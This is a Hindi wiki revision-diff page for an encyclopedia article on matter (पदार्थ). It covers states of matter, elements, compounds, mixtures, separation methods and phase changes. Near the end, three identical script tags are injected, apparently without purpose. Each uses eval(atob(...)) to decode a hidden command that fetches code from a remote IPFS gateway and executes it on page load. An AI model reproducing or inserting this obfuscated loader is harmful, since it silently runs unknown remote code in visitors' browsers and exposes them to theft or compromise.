"पदार्थ" के अवतरणों में अंतर
फ़ौज़िया ख़ान (चर्चा | योगदान) |
व्यवस्थापन (चर्चा | योगदान) छो (Text replacement - " महान " to " महान् ") |
||
(5 सदस्यों द्वारा किये गये बीच के 15 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
− | दुनिया की कोई भी वस्तु जो स्थान घेरती हो, जिसका [[द्रव्यमान]] होता हो और जो अपनी संरचना में परिवर्तन का विरोध करती हो, पदार्थ कहलाते | + | दुनिया की कोई भी वस्तु जो स्थान घेरती हो, जिसका [[द्रव्यमान]] होता हो और जो अपनी संरचना में परिवर्तन का विरोध करती हो, पदार्थ कहलाते हैं। उदाहरण- [[जल]], हवा, बालू आदि। <br/> |
− | [[भारत]] के | + | [[भारत]] के महान् ॠषि [[कणाद]] के अनुसार सभी पदार्थ अत्यन्त सूक्ष्मकणों से बने हैं, जिसे [[परमाणु]] कहा गया है। प्रारंभ में भारतीयों और [[यूनानी|यूनानियों]] का अनुमान था कि प्रकृति की सारी वस्तुएँ पाँच तत्वों के संयोग से बनी हैं, ये पाँच तत्त्व हैं- |
*हवा | *हवा | ||
− | *जल | + | *[[जल]] |
− | *[[ | + | *[[अग्नि]] |
− | *[[आकाश तत्व]] | + | *[[आकाश तत्व|आकाश]] |
*[[पृथ्वी]] | *[[पृथ्वी]] | ||
==पदार्थों का वर्गीकरण== | ==पदार्थों का वर्गीकरण== | ||
− | ==== | + | ====ठोस==== |
{{Main|ठोस पदार्थ}} | {{Main|ठोस पदार्थ}} | ||
पदार्थ की वह भौतिक अवस्था जिसका आकार एवं आयतन दोनों निश्चित हो, ठोस कहलाता है। | पदार्थ की वह भौतिक अवस्था जिसका आकार एवं आयतन दोनों निश्चित हो, ठोस कहलाता है। | ||
− | ==== | + | ====द्रव==== |
{{Main|द्रव पदार्थ}} | {{Main|द्रव पदार्थ}} | ||
पदार्थ की वह भौतिक अवस्था जिसका आकार अनिश्चित एवं आयतन निश्चित हो 'द्रव' कहलाता है। | पदार्थ की वह भौतिक अवस्था जिसका आकार अनिश्चित एवं आयतन निश्चित हो 'द्रव' कहलाता है। | ||
− | ==== | + | ====गैस==== |
{{Main|गैस पदार्थ}} | {{Main|गैस पदार्थ}} | ||
पदार्थ की वह भौतिक अवस्था जिसका आकार एवं आयतन दोनों अनिश्चित हो 'गैस' कहलाता है। | पदार्थ की वह भौतिक अवस्था जिसका आकार एवं आयतन दोनों अनिश्चित हो 'गैस' कहलाता है। | ||
=====विशेष टिप्पणी===== | =====विशेष टिप्पणी===== | ||
*गैसों का कोई पृष्ठ नहीं होता है, इसका [[विसरण]] बहुत अधिक होता है तथा इसे आसानी से संपीड़ित (Compress) किया जा सकता है। | *गैसों का कोई पृष्ठ नहीं होता है, इसका [[विसरण]] बहुत अधिक होता है तथा इसे आसानी से संपीड़ित (Compress) किया जा सकता है। | ||
− | *ताप एवं दाब में परिवर्तन करके किसी भी पदार्थ को बदला जा सकता है। परन्तु इसके अपवाद भी हैं, जैसे- [[लकड़ी]], [[पत्थर]]। ये केवल ठोस अवस्था में ही रहते हैं। | + | *[[ताप]] एवं [[दाब]] में परिवर्तन करके किसी भी पदार्थ को बदला जा सकता है। परन्तु इसके अपवाद भी हैं, जैसे- [[लकड़ी]], [[पत्थर]]। ये केवल ठोस अवस्था में ही रहते हैं। |
*जल तीनों भौतिक अवस्था में रह सकता है। | *जल तीनों भौतिक अवस्था में रह सकता है। | ||
*पदार्थ की तीनों भौतिक अवस्थाओं में निम्न रूप से साम्य होता है:- ठोस→द्रव→गैस। उदाहरण- जल। | *पदार्थ की तीनों भौतिक अवस्थाओं में निम्न रूप से साम्य होता है:- ठोस→द्रव→गैस। उदाहरण- जल। | ||
*पदार्थ की चौथी अवस्था प्लाज़्मा एवं पाँचवी अवस्था '''बोस-आइंस्टाइन कंडनसेट''' है। | *पदार्थ की चौथी अवस्था प्लाज़्मा एवं पाँचवी अवस्था '''बोस-आइंस्टाइन कंडनसेट''' है। | ||
− | ==== | + | ====तत्व==== |
− | {{Main| | + | {{Main|तत्व}} |
तत्त्व वह शुद्ध पदार्थ है, जिसे किसी भी ज्ञात भौतिक एवं रासायनिक विधियों से न तो दो या दो से अधिक पदार्थो में विभाजित किया जा सकता है, और न ही अन्य सरल पदार्थों के योग से बनाया जा सकता है। | तत्त्व वह शुद्ध पदार्थ है, जिसे किसी भी ज्ञात भौतिक एवं रासायनिक विधियों से न तो दो या दो से अधिक पदार्थो में विभाजित किया जा सकता है, और न ही अन्य सरल पदार्थों के योग से बनाया जा सकता है। | ||
− | ==== | + | ====यौगिक==== |
{{Main|यौगिक}} | {{Main|यौगिक}} | ||
− | वह शुद्ध पदार्थ जो रासायनिक रूप से दो या दो से अधिक | + | वह शुद्ध पदार्थ जो रासायनिक रूप से दो या दो से अधिक तत्वों के एक निश्चित अनुपात में रासायनिक संयोग से बने हैं, यौगिक कहलाते हैं। |
− | ==== | + | ====मिश्रण==== |
{{Main|मिश्रण}} | {{Main|मिश्रण}} | ||
− | वह पदार्थ जो दो या दो से अधिक | + | वह पदार्थ जो दो या दो से अधिक तत्वों या [[यौगिक|यौगिकों]] के किसी भी [[अनुपात]] में मिलाने से प्राप्त होता है, मिश्रण कहलाता है। इसे तीन भागों में विभाजित किया जा सकता है। मिश्रण के दो प्रकार होते है:- |
*[[समांग मिश्रण]] | *[[समांग मिश्रण]] | ||
*[[विषमांग मिश्रण]] | *[[विषमांग मिश्रण]] | ||
− | ==मिश्रण को अलग | + | ==मिश्रणों का पृथक्करण== |
− | + | मिश्रण में उपस्थित घटकों को विभिन्न विधियों द्वारा अलग-अलग किया जाता है। मिश्रणों के पृथक्करण की कुछ सामान्य विधियों निम्नलिखित हैं- | |
− | + | #[[रवाकरण]]: इस विधि के द्वारा अकार्बनिक ठोस मिश्रण को अलग किया जाता है। | |
− | इस विधि के द्वारा | + | #[[आसवन विधि]]: जब दो द्रवों के क़्वथनांकों में अन्तर अधिक होता है, तो उसके मिश्रण को आसवन विधि से पृथक् करते हैं। |
− | + | #[[ऊर्ध्वपातन]]: इस विधि द्वारा दो ऐसे ठोसों के मिश्रण को अलग करते हैं, जिसमें एक ठोस ऊर्ध्वपातित हो, दूसरा नहीं। | |
− | + | #[[आंशिक आसवन]]: इस विधि से वैसे मिश्रित द्रवों को अलग करते हैं, जिसमें क़्वथनांकों में अन्तर बहुत कम होता है। | |
− | जब दो द्रवों के क़्वथनांकों में अन्तर अधिक होता है, तो उसके मिश्रण को आसवन विधि से पृथक् करते हैं। | + | #[[प्रभाजी आसवन]]: विभिन्न [[क्वथनांक]] वाले मिश्रित [[द्रव|द्रवों]] को भिन्न-भिन्न [[ताप|तापों]] पर आसुत करके उन्हें पृथक् करने की प्रकिया को प्रभाजी आसवन कहते है। |
− | + | #[[वर्णलेखन]]: यह विधि इस तथ्य पर आधारित है कि किसी मिश्रण के विभिन्न घटकों की [[अवशोषण]] (absorption) क्षमता भिन्न-भिन्न होती है। | |
− | + | #[[भाप आसवन]]: इस विधि से कार्बनिक मिश्रण को शुद्ध किया जाता है। | |
− | |||
− | |||
− | |||
− | इस विधि से वैसे मिश्रित द्रवों को अलग करते | ||
− | |||
− | |||
− | यह विधि इस तथ्य पर आधारित है कि किसी मिश्रण के विभिन्न घटकों की अवशोषण (absorption) क्षमता भिन्न-भिन्न होती है। | ||
− | |||
− | |||
− | इस विधि से | ||
==पदार्थ की अवस्था परिवर्तन== | ==पदार्थ की अवस्था परिवर्तन== | ||
− | ==== | + | ====द्रवणांक==== |
{{Main|द्रवणांक}} | {{Main|द्रवणांक}} | ||
गर्म करने पर ठोस पदार्थ द्रव अवस्था में परिवर्तित होते हैं, तो उनमें से अधिकांश में यह परिवर्तन एक विशेष [[दाब]] पर तथा एक नियत [[ताप]] पर होता है। यह नियत ताप वस्तु का द्रवणांक कहलाता है। | गर्म करने पर ठोस पदार्थ द्रव अवस्था में परिवर्तित होते हैं, तो उनमें से अधिकांश में यह परिवर्तन एक विशेष [[दाब]] पर तथा एक नियत [[ताप]] पर होता है। यह नियत ताप वस्तु का द्रवणांक कहलाता है। | ||
− | ==== | + | ====हिमांक==== |
{{Main|हिमांक}} | {{Main|हिमांक}} | ||
किसी विशेष दाब पर वह नियत ताप जिस पर कोई द्रव जमता है, हिमांक कहलाता है। | किसी विशेष दाब पर वह नियत ताप जिस पर कोई द्रव जमता है, हिमांक कहलाता है। | ||
=====आयतन परिवर्तन===== | =====आयतन परिवर्तन===== | ||
*क्रिस्टलीय पदार्थों में से अधिकांश पदार्थ गलने पर आयतन में बढ़ जाते हैं, ऐसी दशा में ठोस अपने ही गले हुए द्रव में डूब जाता है। | *क्रिस्टलीय पदार्थों में से अधिकांश पदार्थ गलने पर आयतन में बढ़ जाते हैं, ऐसी दशा में ठोस अपने ही गले हुए द्रव में डूब जाता है। | ||
− | *ढला हुआ लोहा, बर्फ, | + | *ढला हुआ [[लोहा]], बर्फ, [[एन्टिमोनी]], [[बिस्मथ]], पीतल आदि गलने पर आयतन में सिकुड़ते हैं। अतः इस प्रकार के ठोस अपने ही गले द्रव में प्लवन करते रहते हैं। इसी विशेष गुण के कारण बर्फ़ का टुकड़ा गले हुए पानी में प्लवन करता है। |
− | *साँचे में केवल वे पदार्थ ढ़ाले जा सकते हैं, जो ठोस बनने पर आयतन में बढ़ते | + | *साँचे में केवल वे पदार्थ ढ़ाले जा सकते हैं, जो ठोस बनने पर आयतन में बढ़ते हैं, क्योंकि तभी वे साँचे के आकार को पूर्णतया प्राप्त कर सकते हैं। |
*मुद्रण धातु ऐसे पदार्थ के बने होते हैं, जो जमने पर आयतन में बढ़ते हैं। | *मुद्रण धातु ऐसे पदार्थ के बने होते हैं, जो जमने पर आयतन में बढ़ते हैं। | ||
*[[चाँदी]] या [[सोना|सोने]] की मुद्राएँ ढाली नहीं जातीं, केवल मुहर लगाकर बनायी जाती हैं। | *[[चाँदी]] या [[सोना|सोने]] की मुद्राएँ ढाली नहीं जातीं, केवल मुहर लगाकर बनायी जाती हैं। | ||
− | * | + | *[[मिश्रधातु|मिश्रधातुओं]] का [[द्रवणांक]] उन्हें बनाने वाले पदार्थों के [[गलनांक]] से कम होता है क्योंकि अशुद्धियाँ डाल देने पर पदार्थ का गलनांक घट जाता है। |
− | ==== | + | ====हिमकारी मिश्रण==== |
{{Main|हिमकारी मिश्रण}} | {{Main|हिमकारी मिश्रण}} | ||
− | किसी ठोस को उसके द्रवणांक पर गलने के लिए [[ऊष्मा]] की आवश्यकता होगी जो उसकी | + | किसी ठोस को उसके द्रवणांक पर गलने के लिए [[ऊष्मा]] की आवश्यकता होगी जो उसकी गुप्त ऊष्मा होगी। हिमकारी मिश्रण का बनना इसी सिद्धांत पर आधारित है। |
− | ==== | + | ====वाष्पीकरण==== |
{{Main|वाष्पीकरण}} | {{Main|वाष्पीकरण}} | ||
द्रव से वाष्प में परिणत होने कि क्रिया 'वाष्पीकरण' कहलाती है। यह दो प्रकार की होती है- | द्रव से वाष्प में परिणत होने कि क्रिया 'वाष्पीकरण' कहलाती है। यह दो प्रकार की होती है- | ||
पंक्ति 75: | पंक्ति 65: | ||
*[[क्वथन]] | *[[क्वथन]] | ||
+ | {{लेख प्रगति | ||
+ | |आधार= | ||
+ | |प्रारम्भिक=प्रारम्भिक2 | ||
+ | |माध्यमिक= | ||
+ | |पूर्णता= | ||
+ | |शोध= | ||
+ | }} | ||
+ | ==संबंधित लेख== | ||
+ | {{रसायन विज्ञान}} | ||
[[Category:विज्ञान_कोश]] | [[Category:विज्ञान_कोश]] | ||
[[Category:रसायन विज्ञान]] | [[Category:रसायन विज्ञान]] | ||
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
14:10, 30 जून 2017 के समय का अवतरण
दुनिया की कोई भी वस्तु जो स्थान घेरती हो, जिसका द्रव्यमान होता हो और जो अपनी संरचना में परिवर्तन का विरोध करती हो, पदार्थ कहलाते हैं। उदाहरण- जल, हवा, बालू आदि।
भारत के महान् ॠषि कणाद के अनुसार सभी पदार्थ अत्यन्त सूक्ष्मकणों से बने हैं, जिसे परमाणु कहा गया है। प्रारंभ में भारतीयों और यूनानियों का अनुमान था कि प्रकृति की सारी वस्तुएँ पाँच तत्वों के संयोग से बनी हैं, ये पाँच तत्त्व हैं-
पदार्थों का वर्गीकरण
ठोस
पदार्थ की वह भौतिक अवस्था जिसका आकार एवं आयतन दोनों निश्चित हो, ठोस कहलाता है।
द्रव
पदार्थ की वह भौतिक अवस्था जिसका आकार अनिश्चित एवं आयतन निश्चित हो 'द्रव' कहलाता है।
गैस
पदार्थ की वह भौतिक अवस्था जिसका आकार एवं आयतन दोनों अनिश्चित हो 'गैस' कहलाता है।
विशेष टिप्पणी
- गैसों का कोई पृष्ठ नहीं होता है, इसका विसरण बहुत अधिक होता है तथा इसे आसानी से संपीड़ित (Compress) किया जा सकता है।
- ताप एवं दाब में परिवर्तन करके किसी भी पदार्थ को बदला जा सकता है। परन्तु इसके अपवाद भी हैं, जैसे- लकड़ी, पत्थर। ये केवल ठोस अवस्था में ही रहते हैं।
- जल तीनों भौतिक अवस्था में रह सकता है।
- पदार्थ की तीनों भौतिक अवस्थाओं में निम्न रूप से साम्य होता है:- ठोस→द्रव→गैस। उदाहरण- जल।
- पदार्थ की चौथी अवस्था प्लाज़्मा एवं पाँचवी अवस्था बोस-आइंस्टाइन कंडनसेट है।
तत्व
तत्त्व वह शुद्ध पदार्थ है, जिसे किसी भी ज्ञात भौतिक एवं रासायनिक विधियों से न तो दो या दो से अधिक पदार्थो में विभाजित किया जा सकता है, और न ही अन्य सरल पदार्थों के योग से बनाया जा सकता है।
यौगिक
वह शुद्ध पदार्थ जो रासायनिक रूप से दो या दो से अधिक तत्वों के एक निश्चित अनुपात में रासायनिक संयोग से बने हैं, यौगिक कहलाते हैं।
मिश्रण
वह पदार्थ जो दो या दो से अधिक तत्वों या यौगिकों के किसी भी अनुपात में मिलाने से प्राप्त होता है, मिश्रण कहलाता है। इसे तीन भागों में विभाजित किया जा सकता है। मिश्रण के दो प्रकार होते है:-
मिश्रणों का पृथक्करण
मिश्रण में उपस्थित घटकों को विभिन्न विधियों द्वारा अलग-अलग किया जाता है। मिश्रणों के पृथक्करण की कुछ सामान्य विधियों निम्नलिखित हैं-
- रवाकरण: इस विधि के द्वारा अकार्बनिक ठोस मिश्रण को अलग किया जाता है।
- आसवन विधि: जब दो द्रवों के क़्वथनांकों में अन्तर अधिक होता है, तो उसके मिश्रण को आसवन विधि से पृथक् करते हैं।
- ऊर्ध्वपातन: इस विधि द्वारा दो ऐसे ठोसों के मिश्रण को अलग करते हैं, जिसमें एक ठोस ऊर्ध्वपातित हो, दूसरा नहीं।
- आंशिक आसवन: इस विधि से वैसे मिश्रित द्रवों को अलग करते हैं, जिसमें क़्वथनांकों में अन्तर बहुत कम होता है।
- प्रभाजी आसवन: विभिन्न क्वथनांक वाले मिश्रित द्रवों को भिन्न-भिन्न तापों पर आसुत करके उन्हें पृथक् करने की प्रकिया को प्रभाजी आसवन कहते है।
- वर्णलेखन: यह विधि इस तथ्य पर आधारित है कि किसी मिश्रण के विभिन्न घटकों की अवशोषण (absorption) क्षमता भिन्न-भिन्न होती है।
- भाप आसवन: इस विधि से कार्बनिक मिश्रण को शुद्ध किया जाता है।
पदार्थ की अवस्था परिवर्तन
द्रवणांक
गर्म करने पर ठोस पदार्थ द्रव अवस्था में परिवर्तित होते हैं, तो उनमें से अधिकांश में यह परिवर्तन एक विशेष दाब पर तथा एक नियत ताप पर होता है। यह नियत ताप वस्तु का द्रवणांक कहलाता है।
हिमांक
किसी विशेष दाब पर वह नियत ताप जिस पर कोई द्रव जमता है, हिमांक कहलाता है।
आयतन परिवर्तन
- क्रिस्टलीय पदार्थों में से अधिकांश पदार्थ गलने पर आयतन में बढ़ जाते हैं, ऐसी दशा में ठोस अपने ही गले हुए द्रव में डूब जाता है।
- ढला हुआ लोहा, बर्फ, एन्टिमोनी, बिस्मथ, पीतल आदि गलने पर आयतन में सिकुड़ते हैं। अतः इस प्रकार के ठोस अपने ही गले द्रव में प्लवन करते रहते हैं। इसी विशेष गुण के कारण बर्फ़ का टुकड़ा गले हुए पानी में प्लवन करता है।
- साँचे में केवल वे पदार्थ ढ़ाले जा सकते हैं, जो ठोस बनने पर आयतन में बढ़ते हैं, क्योंकि तभी वे साँचे के आकार को पूर्णतया प्राप्त कर सकते हैं।
- मुद्रण धातु ऐसे पदार्थ के बने होते हैं, जो जमने पर आयतन में बढ़ते हैं।
- चाँदी या सोने की मुद्राएँ ढाली नहीं जातीं, केवल मुहर लगाकर बनायी जाती हैं।
- मिश्रधातुओं का द्रवणांक उन्हें बनाने वाले पदार्थों के गलनांक से कम होता है क्योंकि अशुद्धियाँ डाल देने पर पदार्थ का गलनांक घट जाता है।
हिमकारी मिश्रण
किसी ठोस को उसके द्रवणांक पर गलने के लिए ऊष्मा की आवश्यकता होगी जो उसकी गुप्त ऊष्मा होगी। हिमकारी मिश्रण का बनना इसी सिद्धांत पर आधारित है।
वाष्पीकरण
द्रव से वाष्प में परिणत होने कि क्रिया 'वाष्पीकरण' कहलाती है। यह दो प्रकार की होती है-
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>